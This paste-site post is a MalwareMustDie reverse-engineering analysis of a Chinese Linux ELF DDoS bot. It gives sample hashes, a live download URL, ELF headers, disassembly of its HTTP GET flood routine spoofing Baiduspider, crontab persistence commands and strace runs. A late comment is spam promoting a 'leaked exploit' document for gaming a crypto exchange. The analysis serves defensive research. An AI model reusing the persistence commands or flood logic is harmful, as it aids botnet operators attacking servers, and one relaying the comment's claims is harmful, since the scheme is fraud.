MalwareMustDie icon

TAOBAO China ELF DDoS'er

MalwareMustDie | PRO | 07/28/14 10:44:33 AM UTC | 0 ⭐ | 12498 👁️ | Never ⏰ | []
MIX Assembler |

0 B

|

None

|

0 👍

/

0 👎

# MalwareMustDie! ELF anaysis
# Title: " Evolution of a China ELF DDoS'er
# Reference previous analysis: http://blog.malwaremustdie.org/2014/05/linux-reversing-is-fun-toying-with-elf.html
# Noted: See how the previous analysed DDoS functions are developed into wider threat now..
 
# Initial detection in Virus Total is 0/52 (FUD)
# https://www.virustotal.com/en/file/19034c5fa31299e1d50e610dc3389d08db064d0c2a0aa1fb0bab0858532cd9c5/analysis/1406548491/
#File name: sample
#Detection ratio:    0 / 52
#Analysis date:  2014-07-28 11:54:51 UTC ( 0 minutes ago )
 
/ ------------------ /
/ Sample Information /
/ ------------------ /
 
/ sample /
 
MD5    : d96fe80de7483eb961b38456c5b207e8
SHA256 : 19034c5fa31299e1d50e610dc3389d08db064d0c2a0aa1fb0bab0858532cd9c5
 
/ source /
 
http://122.94.40.23:38384/.taobao
Mon Jul 27 15:28:32 JST 2014|122.94.40.23||9394 | 122.94.0.0/16 | CTTNET | CN | CHINATIETONG.COM | CHINA TIETONG TELECOMMUNICATIONS CORPORATION
 
/ ------------------ /
/ Binary analysis    /
/ ------------------ /
 
/ file /
 
sample: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
 
/ ELF Header /
 
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2`s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x80480f0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          500x804 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         4
  Size of section headers:           40 (bytes)
  Number of section headers:         25
  Section header string table index: 22
 
/ Section Headers /
 
    [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
    [ 0]                   NULL            00000000 000000 000000 00      0   0  0
    [ 1] .init             PROGBITS        0x80480d4 0000d4 000017 00  AX  0   0  4
    [ 2] .text             PROGBITS        0x80480f0 0000f0 061524 00  AX  0   0 16
    [ 3] __libc_freeres_fn PROGBITS        080a9614 061614 0008a2 00  AX  0   0  4
    [ 4] __libc_thread_fre PROGBITS        080a9eb8 061eb8 0000dc 00  AX  0   0  4
    [ 5] .fini             PROGBITS        080a9f94 061f94 00001a 00  AX  0   0  4
    [ 6] .rodata           PROGBITS        080a9fc0 061fc0 014b2e 00   A  0   0 32
    [ 7] __libc_atexit     PROGBITS        080beaf0 076af0 000004 00   A  0   0  4
    [ 8] __libc_subfreeres PROGBITS        080beaf4 076af4 00003c 00   A  0   0  4
    [ 9] __libc_thread_sub PROGBITS        080beb30 076b30 000004 00   A  0   0  4
    [10] .eh_frame         PROGBITS        080beb34 076b34 001c10 00   A  0   0  4
    [11] .ctors            PROGBITS        080c1744 078744 00000c 00  WA  0   0  4
    [12] .dtors            PROGBITS        080c1750 078750 00000c 00  WA  0   0  4
    [13] .jcr              PROGBITS        080c175c 07875c 000004 00  WA  0   0  4
    [14] .data.rel.ro      PROGBITS        080c1760 078760 00002c 00  WA  0   0  4
    [15] .got              PROGBITS        080c178c 07878c 000004 04  WA  0   0  4
    [16] .got.plt          PROGBITS        080c1790 078790 00000c 04  WA  0   0  4
    [17] .data             PROGBITS        080c17a0 0787a0 001a34 00  WA  0   0 32
    [18] .bss              NOBITS          080c31e0 07a1d4 083994 00  WA  0   0 32
    [19] __libc_freeres_pt NOBITS          08146b74 07a1d4 000020 00  WA  0   0  4
    [20] .comment          PROGBITS        00000000 07a1d4 000168 00      0   0  1
    [21] .note.ABI-tag     NOTE            0x80480b4 0000b4 000020 00   A  0   0  4
    [22] .shstrtab         STRTAB          00000000 07a33c 000107 00      0   0  1
    [23] .symtab           SYMTAB          00000000 07a82c 008070 10     24 517  4
    [24] .strtab           STRTAB          00000000 08289c 00770b 00      0   0  1
  Key to Flags:
    W (write), A (alloc), X (execute), M (merge), S (strings)
    I (info), L (link order), G (group), x (unknown)
    O (extra OS processing required) o (OS specific), p (processor specific)
 
/ Program Headers /
 
    Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
    LOAD           0x000000 0x0x8048000 0x0x8048000 0x78744 0x78744 R E 0x1000
    LOAD           0x078744 0x080c1744 0x080c1744 0x01a90 0x85450 RW  0x1000
    NOTE           0x0000b4 0x0x80480b4 0x0x80480b4 0x00020 0x00020 R   0x4
    GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
 
/ Section to Segment mapping /
 
     Segment Sections...
      00     .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres 
             __libc_thread_subfreeres .eh_frame .note.ABI-tag 
      01     .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 
      02     .note.ABI-tag 
 
/ What it doesn't have.. /
      
There is no dynamic section in this file.
There are no relocations in this file.
There are no unwind sections in this file.
There are no section groups in this file.
 
/ version info /
 
Notes at offset 0x000000b4 with length 0x00000020:
  Owner         Data size       Description
  GNU           0x00000010      NT_VERSION (version)
  
 
/ ------------------ /
/ Reversing Notes..  /
/ ------------------ /
 
/ the hacks /
/ below files is opened in "insecured way"
 
/etc/.mysys  (drops)
/etc/crontab (new schedule…, see below)
   chattr -i /etc/crontab 
   chmod +w /etc/crontab                                                                                        
   sed -i '/%s/d' /etc/crontab                                                                                  
   echo '*/1 * * * * root %s/%s %s' >> /etc/crontab
 
/* etc conf accessed: */
/etc/suid-
/var/tmp
/var/profile 
/etc/host.conf
/etc/nsswitch.conf
 
/ Made in China ..localz/
 
.rodata:0x80BCCC0    i18n:1999                                                                                                    
.rodata:0x80BCCCA    i18n:1999                                                                                                    
.rodata:0x80BCCD4    i18n:1999 
 
.rodata:080AA05C    Accept-Language: zh-CN\r\n                                                                                   
.rodata:080AA078    User-Agent: Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)\r\n  
 
/ Made by the same coder as previous one.../
 
.text:0x804ADC0                 mov     eax, [ebp+arg_4]
.text:0x804ADC3                 sub     esp, 8
.text:0x804ADC6                 push    offset aTaobao  ; "taobao"
.text:0x804ADCB                 push    dword ptr [eax]
 
 
/ How to grab the DDoS functions /
 
go from: public main > _ConnectServer > DealwithDDoS > you see these 5 functions called:
SYN_Flood
UDP_Flood
GET_Flood
ICMP_Flood
DNS_Flood
 
; Reference, see embedded picture (see snapshot at: https://twitter.com/MalwareMustDie/status/493729921672310785 )
 
/ What'S new in this variant: L7 attack = HTTP flood, method: GET /
 
  .text:0x804A5CE loc_804A5CE:; Reference called from function: DealwithDDoS
  .text:0x804A5CE                 mov     eax, [ebp+8]
  .text:0x804A5D1                 mov     eax, [eax+108h]
  .text:0x804A5D7                 cmp     eax, [ebp-0Ch]
  .text:0x804A5DA                 jle     locret_804A67F
  .text:0x804A5E0                 push    dword ptr [ebp+8]
  .text:0x804A5E3                 push    offset GET_Flood ; go to the next blob...
  .text:0x804A5E8                 push    0
  .text:0x804A5EA                 mov     eax, [ebp+var_C]
  .text:0x804A5ED                 shl     eax, 2
  .text:0x804A5F0                 add     eax, offset id
  .text:0x804A5F5                 push    eax
  .text:0x804A5F6                 call    pthread_create ; thread base dandori..
  .text:0x804A5FB                 add     esp, 10h
  .text:0x804A5FE                 mov     [ebp+var_41C], eax
  .text:0x804A604                 lea     eax, [ebp+var_C]
  .text:0x804A607                 inc     dword ptr [eax]
  .text:0x804A609                 jmp     short loc_804A5CE
      { : }
  .text:0x8049018                 public GET_Flood
  .text:0x8049018 GET_Flood       proc near; ; Reference called from function: DealwithDDoS
  .text:0x8049018 var_1015C       = dword ptr -1015Ch
  .text:0x8049018 var_10158       = dword ptr -10158h
  .text:0x8049018 var_10154       = dword ptr -10154h
  .text:0x8049018 var_10148       = dword ptr -10148h
  .text:0x8049018 var_144         = dword ptr -144h
  .text:0x8049018 var_140         = dword ptr -140h
  .text:0x8049018 fd              = dword ptr -13Ch
  .text:0x8049018 var_138         = dword ptr -138h
  .text:0x8049018 var_38          = dword ptr -38h
  .text:0x8049018 var_28          = dword ptr -28h
  .text:0x8049018 var_C           = dword ptr -0Ch
  .text:0x8049018 arg_0           = dword ptr  8
  .text:0x8049018
  .text:0x8049018                 push    ebp ; threading started....
  .text:0x8049019                 mov     ebp, esp
  .text:0x804901B                 push    ebx
  .text:0x804901C                 sub     esp, 10164h
  .text:0x8049022                 sub     esp, 0Ch
  .text:0x8049025                 sub     esp, 4
  .text:0x8049028                 call    pthread_self
  .text:0x804902D                 add     esp, 4
  .text:0x8049030                 push    eax
  .text:0x8049031                 call    pthread_detach
  .text:0x8049036                 add     esp, 10h
  .text:0x8049039                 mov     eax, [ebp+arg_0]
  .text:0x804903C                 mov     [ebp+var_C], eax
  .text:0x804903F                 sub     esp, 4
  .text:0x8049042                 push    118h
  .text:0x8049047                 push    [ebp+var_C]
  .text:0x804904A                 lea     eax, [ebp+var_138]
  .text:0x8049050                 push    eax
  .text:0x8049051                 call    memcpy   ; memory allocations..
  .text:0x8049056                 add     esp, 10h
  .text:0x8049059                 sub     esp, 4
  .text:0x804905C                 push    10h
  .text:0x804905E                 push    0
  .text:0x8049060                 lea     eax, [ebp+var_10158]
  .text:0x8049066                 push    eax
  .text:0x8049067                 call    memset
  .text:0x804906C                 add     esp, 10h
  .text:0x804906F                 sub     esp, 8
  .text:0x8049072                 push    10h
  .text:0x8049074                 lea     eax, [ebp+var_10158]
  .text:0x804907A                 push    eax
  .text:0x804907B                 call    bzero
  .text:0x8049080                 add     esp, 10h
  .text:0x8049083                 mov     word ptr [ebp+var_10158], 2
  .text:0x804908C                 mov     eax, [ebp+var_38]
  .text:0x804908F                 movzx   eax, ax
  .text:0x8049092                 sub     esp, 0Ch
  .text:0x8049095                 push    eax
  .text:0x8049096                 call    ntohs
  .text:0x804909B                 add     esp, 10h
  .text:0x804909E                 mov     word ptr [ebp+var_10158+2], ax
  .text:0x80490A5                 sub     esp, 0Ch
  .text:0x80490A8                 lea     eax, [ebp+var_138]
  .text:0x80490AE                 push    eax
  .text:0x80490AF                 call    AnalysisAddress
  .text:0x80490B4                 add     esp, 10h
  .text:0x80490B7                 mov     [ebp+var_10154], eax
  .text:0x80490BD
  .text:0x80490BD loc_80490BD:                            ; CODE XREF: GET_Flood+3B6j
  .text:0x80490BD                 sub     esp, 4
  .text:0x80490C0                 push    0
  .text:0x80490C2                 push    1
  .text:0x80490C4                 push    2               ; args
  .text:0x80490C6                 call    socket          ; socket operations is initaited here..
  .text:0x80490CB                 add     esp, 10h
  .text:0x80490CE                 mov     [ebp+fd], eax
  .text:0x80490D4                 sub     esp, 4
  .text:0x80490D7                 push    10h
  .text:0x80490D9                 lea     eax, [ebp+var_10158]
  .text:0x80490DF                 push    eax
  .text:0x80490E0                 push    [ebp+fd]        ; args
  .text:0x80490E6                 call    connect         ; using the arg to connect..
  .text:0x80490EB                 add     esp, 10h
  .text:0x80490EE                 cmp     eax, 0FFFFFFFFh
  .text:0x80490F1                 jnz     short loc_8049109
  .text:0x80490F3                 sub     esp, 0Ch
  .text:0x80490F6                 push    [ebp+fd]        ; fd
  .text:0x80490FC                 call    close
  .text:0x8049101                 add     esp, 10h
  .text:0x8049104                 jmp     loc_80493C7
  .text:0x8049109
  .text:0x8049109 loc_8049109:    ; if everything ok, this GET will be in loops..
  .text:0x8049109                 sub     esp, 4
  .text:0x804910C                 push    4
  .text:0x804910E                 push    offset aGet     ; "GET "
  .text:0x8049113                 lea     eax, [ebp+var_10148]
  .text:0x8049119                 push    eax
  .text:0x804911A                 call    memcpy
  .text:0x804911F                 add     esp, 10h
  .text:0x8049122                 mov     [ebp+var_140], 4
  .text:0x804912C                 sub     esp, 4
  .text:0x804912F                 lea     eax, [ebp+var_138]
  .text:0x8049135                 sub     eax, 0FFFFFF80h
  .text:0x8049138                 sub     esp, 8
  .text:0x804913B                 push    eax
  .text:0x804913C                 call    strlen
  .text:0x8049141                 add     esp, 0Ch
  .text:0x8049144                 push    eax
  .text:0x8049145                 lea     eax, [ebp+var_138]
  .text:0x804914B                 sub     eax, 0FFFFFF80h
  .text:0x804914E                 push    eax
  .text:0x804914F                 lea     eax, [ebp+var_10148]
  .text:0x8049155                 add     eax, [ebp+var_140]
  .text:0x804915B                 push    eax
  .text:0x804915C                 call    memcpy
  .text:0x8049161                 add     esp, 10h
  .text:0x8049164                 lea     eax, [ebp+var_138]
  .text:0x804916A                 sub     eax, 0FFFFFF80h
  .text:0x804916D                 sub     esp, 0Ch
  .text:0x8049170                 push    eax
  .text:0x8049171                 call    strlen
  .text:0x8049176                 add     esp, 10h
  .text:0x8049179                 mov     edx, eax
  .text:0x804917B                 lea     eax, [ebp+var_140]
  .text:0x8049181                 add     [eax], edx
  .text:0x8049183                 cmp     [ebp+var_28], 0
  .text:0x8049187                 jz      short loc_80491FC
  .text:0x8049189                 sub     esp, 0Ch
  .text:0x804918C                 push    0
  .text:0x804918E                 call    time
  .text:0x8049193                 add     esp, 4
  .text:0x8049196                 push    eax
  .text:0x8049197                 call    srandom
  .text:0x804919C                 add     esp, 10h
  .text:0x804919F                 mov     eax, [ebp+var_140]
  .text:0x80491A5                 mov     [ebp+var_144], eax
  .text:0x80491AB
  .text:0x80491AB loc_80491AB:
  .text:0x80491AB                 mov     eax, [ebp+var_140]
  .text:0x80491B1                 add     eax, 5
  .text:0x80491B4                 cmp     eax, [ebp+var_144]
  .text:0x80491BA                 jle     short loc_80491F3
  .text:0x80491BC                 lea     eax, [ebp+var_10148]
  .text:0x80491C2                 mov     ebx, eax
  .text:0x80491C4                 add     ebx, [ebp+var_144]
  .text:0x80491CA                 call    rand
  .text:0x80491CF                 mov     edx, eax
  .text:0x80491D1                 mov     [ebp+var_1015C], 1Ah
  .text:0x80491DB                 mov     eax, edx
  .text:0x80491DD                 cdq
  .text:0x80491DE                 idiv    [ebp+var_1015C]
  .text:0x80491E4                 lea     eax, [edx+61h]
  .text:0x80491E7                 mov     [ebx], al
  .text:0x80491E9                 lea     eax, [ebp+var_144]
  .text:0x80491EF                 inc     dword ptr [eax]
  .text:0x80491F1                 jmp     short loc_80491AB
  .text:0x80491F3
  .text:0x80491F3 loc_80491F3:
  .text:0x80491F3                 lea     eax, [ebp+var_140]
  .text:0x80491F9                 add     dword ptr [eax], 5
  .text:0x80491FC
  .text:0x80491FC loc_80491FC:
  .text:0x80491FC                 sub     esp, 4
  .text:0x80491FF                 push    0Bh             ; here goes the headers....
  .text:0x8049201                 push    offset aHttp1_1 ; " HTTP/1.1\r\n"
  .text:0x8049206                 lea     eax, [ebp+var_10148]
  .text:0x804920C                 add     eax, [ebp+var_140]
  .text:0x8049212                 push    eax
  .text:0x8049213                 call    memcpy
  .text:0x8049218                 add     esp, 10h
  .text:0x804921B                 lea     eax, [ebp+var_140]
  .text:0x8049221                 add     dword ptr [eax], 0Bh
  .text:0x8049224                 sub     esp, 4
  .text:0x8049227                 push    2Fh
  .text:0x8049229                 push    offset aAcceptTextHtml ; "Accept: text/html, application/xhtml+xm"...
  .text:0x804922E                 lea     eax, [ebp+var_10148]
  .text:0x8049234                 add     eax, [ebp+var_140]
  .text:0x804923A                 push    eax
  .text:0x804923B                 call    memcpy
  .text:0x8049240                 add     esp, 10h
  .text:0x8049243                 lea     eax, [ebp+var_140]
  .text:0x8049249                 add     dword ptr [eax], 2Fh
  .text:0x804924C                 sub     esp, 4
  .text:0x804924F                 push    18h
  .text:0x8049251                 push    offset aAcceptLanguage ; "Accept-Language: zh-CN\r\n"
  .text:0x8049256                 lea     eax, [ebp+var_10148]
  .text:0x804925C                 add     eax, [ebp+var_140]
  .text:0x8049262                 push    eax
  .text:0x8049263                 call    memcpy
  .text:0x8049268                 add     esp, 10h
  .text:0x804926B                 lea     eax, [ebp+var_140]
  .text:0x8049271                 add     dword ptr [eax], 18h
  .text:0x8049274                 sub     esp, 4
  .text:0x8049277                 push    61h
  .text:0x8049279                 push    offset aUserAgentMozil ; "User-Agent: Mozilla/5.0+(compatible;+Ba"...
  .text:0x804927E                 lea     eax, [ebp+var_10148]
  .text:0x8049284                 add     eax, [ebp+var_140]
  .text:0x804928A                 push    eax
  .text:0x804928B                 call    memcpy
  .text:0x8049290                 add     esp, 10h
  .text:0x8049293                 lea     eax, [ebp+var_140]
  .text:0x8049299                 add     dword ptr [eax], 61h
  .text:0x804929C                 sub     esp, 4
  .text:0x804929F                 push    20h
  .text:0x80492A1                 push    offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
  .text:0x80492A6                 lea     eax, [ebp+var_10148]
  .text:0x80492AC                 add     eax, [ebp+var_140]
  .text:0x80492B2                 push    eax
  .text:0x80492B3                 call    memcpy
  .text:0x80492B8                 add     esp, 10h
  .text:0x80492BB                 lea     eax, [ebp+var_140]
  .text:0x80492C1                 add     dword ptr [eax], 20h
  .text:0x80492C4                 sub     esp, 4
  .text:0x80492C7                 push    6
  .text:0x80492C9                 push    offset aHost    ; "Host: "
  .text:0x80492CE                 lea     eax, [ebp+var_10148]
  .text:0x80492D4                 add     eax, [ebp+var_140]
  .text:0x80492DA                 push    eax
  .text:0x80492DB                 call    memcpy
  .text:0x80492E0                 add     esp, 10h
  .text:0x80492E3                 lea     eax, [ebp+var_140]
  .text:0x80492E9                 add     dword ptr [eax], 6
  .text:0x80492EC                 sub     esp, 4
  .text:0x80492EF                 lea     eax, [ebp+var_138]
  .text:0x80492F5                 sub     esp, 8
  .text:0x80492F8                 push    eax
  .text:0x80492F9                 call    strlen
  .text:0x80492FE                 add     esp, 0Ch
  .text:0x8049301                 push    eax
  .text:0x8049302                 lea     eax, [ebp+var_138]
  .text:0x8049308                 push    eax
  .text:0x8049309                 lea     eax, [ebp+var_10148]
  .text:0x804930F                 add     eax, [ebp+var_140]
  .text:0x8049315                 push    eax
  .text:0x8049316                 call    memcpy
  .text:0x804931B                 add     esp, 10h
  .text:0x804931E                 lea     eax, [ebp+var_138]
  .text:0x8049324                 sub     esp, 0Ch
  .text:0x8049327                 push    eax
  .text:0x8049328                 call    strlen
  .text:0x804932D                 add     esp, 10h
  .text:0x8049330                 mov     edx, eax
  .text:0x8049332                 lea     eax, [ebp+var_140]
  .text:0x8049338                 add     [eax], edx
  .text:0x804933A                 sub     esp, 4
  .text:0x804933D                 push    1Ah
  .text:0x804933F                 push    offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n"
  .text:0x8049344                 lea     eax, [ebp+var_10148]
  .text:0x804934A                 add     eax, [ebp+var_140]
  .text:0x8049350                 push    eax
  .text:0x8049351                 call    memcpy
  .text:0x8049356                 add     esp, 10h
  .text:0x8049359                 lea     eax, [ebp+var_140]
  .text:0x804935F                 add     dword ptr [eax], 1Ah
  .text:0x8049362                 sub     esp, 4
  .text:0x8049365                 push    14h
  .text:0x8049367                 push    offset aPragmaNoCache ; "Pragma: no-cache\r\n\r\n"
  .text:0x804936C                 lea     eax, [ebp+var_10148]
  .text:0x8049372                 add     eax, [ebp+var_140]
  .text:0x8049378                 push    eax
  .text:0x8049379                 call    memcpy
  .text:0x804937E                 add     esp, 10h
  .text:0x8049381                 lea     eax, [ebp+var_140]
  .text:0x8049387                 add     dword ptr [eax], 14h
  .text:0x804938A                 sub     esp, 8
  .text:0x804938D                 push    1
  .text:0x804938F                 push    0Dh
  .text:0x8049391                 call    ssignal
  .text:0x8049396                 add     esp, 10h
  .text:0x8049399                 push    0
  .text:0x804939B                 push    [ebp+var_140]
  .text:0x80493A1                 lea     eax, [ebp+var_10148]
  .text:0x80493A7                 push    eax
  .text:0x80493A8                 push    [ebp+fd]        ; args
  .text:0x80493AE                 call    send
  .text:0x80493B3                 add     esp, 10h
  .text:0x80493B6                 sub     esp, 0Ch
  .text:0x80493B9                 push    [ebp+fd]        ; fd
  .text:0x80493BF                 call    close
  .text:0x80493C4                 add     esp, 10h
  .text:0x80493C7
  .text:0x80493C7 loc_80493C7:   ; done...
  .text:0x80493C7                 cmp     StopFlag, 1
  .text:0x80493CE                 jnz     loc_80490BD
  .text:0x80493D4                 sub     esp, 0Ch
  .text:0x80493D7                 push    offset aSuccess ; "success"
  .text:0x80493DC                 call    pthread_exit
  .text:0x80493DC GET_Flood       endp
  
  / HTTP GET Flood's header summarized, pretending as the baidu spider /
  
  .rodata:0x80AA01A   GET                                                                                                          
  .rodata:0x80AA01F   HTTP/1.1\r\n                                                                                                
  .rodata:0x80AA02C   Accept: text/html, application/xhtml+xml, *|*\r\n
  .rodata:0x80AA05C   Accept-Language: zh-CN\r\n                                                                                   
  .rodata:0x80AA078   User-Agent: Mozilla/5.0(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)\r\n          
  .rodata:0x80AA0DC   Accept-Encoding: gzip, deflate\r\n                                                                           
  .rodata:0x80AA0FD   Host:                                                                                                        
  .rodata:0x80AA104   \r\nConnection: Keep-Alive\r\n                                                                               
  .rodata:0x80AA11F   Pragma: no-cache\r\n\r\n                             
 
 
  / how the ip target is fed, applied to the L7 flood by ARG /
  
  push    offset aLu_Lu_Lu_Lu ; "%lu.%lu.%lu.%lu"
  push    10h
 
/ --------------------------------------- /
/ Debug… need ENOSYS sys call precompiled /
/ --------------------------------------- /
 
/ debug - 1st try /
 
; non root
 
execve("./sample", ["./sample"], [/* 17 vars */]) = 0
[ Process PID=32400 runs in 32 bit mode. ]
uname({sys="Linux", node="1x111", ...}) = 0
brk(0)                                  = 0x8566000
brk(0x8587000)                          = 0x8587000
getrlimit(RLIMIT_STACK, {rlim_cur=-4286578688, rlim_max=0}) = 0
setrlimit(RLIMIT_STACK, {rlim_cur=-4292874240, rlim_max=0}) = 0
getpid()                                = 32400
rt_sigaction(SIGRTMIN, {0x804c9b0, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x804cb4c, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
_sysctl({0x2080aa344, -6106976, (nil), (nil), (nil), 18420514605488689824}) = -1 ENOSYS (Function not implemented)
open("/proc/sys/kernel/version", O_RDONLY) = 3
read(3, "#1 SMP Debian 3.2.60-1+deb7u1\n", 512) = 30
close(3)                                = 0
fork()                                  = 32402
exit_group(0)                           = ?
rik@1x111 ~ $ 
 
; root
 
execve("./sample", ["./sample"], [/* 20 vars */]) = 0
[ Process PID=649 runs in 32 bit mode. ]
uname({sys="Linux", node="1x111", ...}) = 0
brk(0)                                  = 0x9788000
brk(0x97a9000)                          = 0x97a9000
getrlimit(RLIMIT_STACK, {rlim_cur=-4286578688, rlim_max=0}) = 0
setrlimit(RLIMIT_STACK, {rlim_cur=-4292874240, rlim_max=0}) = 0
getpid()                                = 649
rt_sigaction(SIGRTMIN, {0x804c9b0, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x804cb4c, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
_sysctl({0x2080aa344, -7628784, (nil), (nil), (nil), 18413978489897898656}) = -1 ENOSYS (Function not implemented)
open("/proc/sys/kernel/version", O_RDONLY) = 3
read(3, "#1 SMP Debian 3.2.60-1+deb7u1\n", 512) = 30
close(3)                                = 0
fork()                                  = 650
exit_group(0)                           = ?
 
; drops exists...
 
# ls -alF /etc/.mysys 
---------- 1 root root 0 Jul 28 12:57 /etc/.mysys
 
 
/ next (2nd)  try /
 
; non root
 
execve("./sample", ["./sample"], [/* 21 vars */]) = 0
uname({sys="Linux", node="malware.must.die", ...}) = 0
brk(0)                                  = 0x9f3d000
brk(0x9f5e000)                          = 0x9f5e000
getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0
setrlimit(RLIMIT_STACK, {rlim_cur=2044*1024, rlim_max=RLIM_INFINITY}) = 0
getpid()                                = 1786
rt_sigaction(SIGRTMIN, {0x804c9b0, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x804cb4c, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
_sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbff22b10, 30, (nil), 0}) = 0
fork()                                  = 1787
--- SIGCHLD (Child exited) @ 0 (0) ---
exit_group(0)                           = ?
 
; root
 
execve("./sample", ["./sample"], [/* 18 vars */]) = 0
uname({sys="Linux", node="malware.must.die", ...}) = 0
brk(0)                                  = 0xa057000
brk(0xa078000)                          = 0xa078000
getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0
setrlimit(RLIMIT_STACK, {rlim_cur=2044*1024, rlim_max=RLIM_INFINITY}) = 0
getpid()                                = 1822
rt_sigaction(SIGRTMIN, {0x804c9b0, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x804cb4c, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
_sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbfe50b70, 30, (nil), 0}) = 0
fork()                                  = 1823
--- SIGCHLD (Child exited) @ 0 (0) ---
exit_group(0)                           = ?
 
; drop exists...
 
 ls -alF /etc/.mysys 
----------  1 root root 0 Jul 28 20:11 /etc/.mysys
 
/* Stupid coder…lol */
 
---
#MalwareMustDie | analysis by @unixfreaxjp, samples: @wirehack7

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  • Ulrpovin icon
    03/30/26 02:41:38 AM UTC
    CSS |

    0 B

    |

    0 👍

    /

    0 👎

    ✅ Leaked Exploit Documentation:
     
    https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
     
    This made me $13,000 in 2 days.
     
    Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
     
    Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
    
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎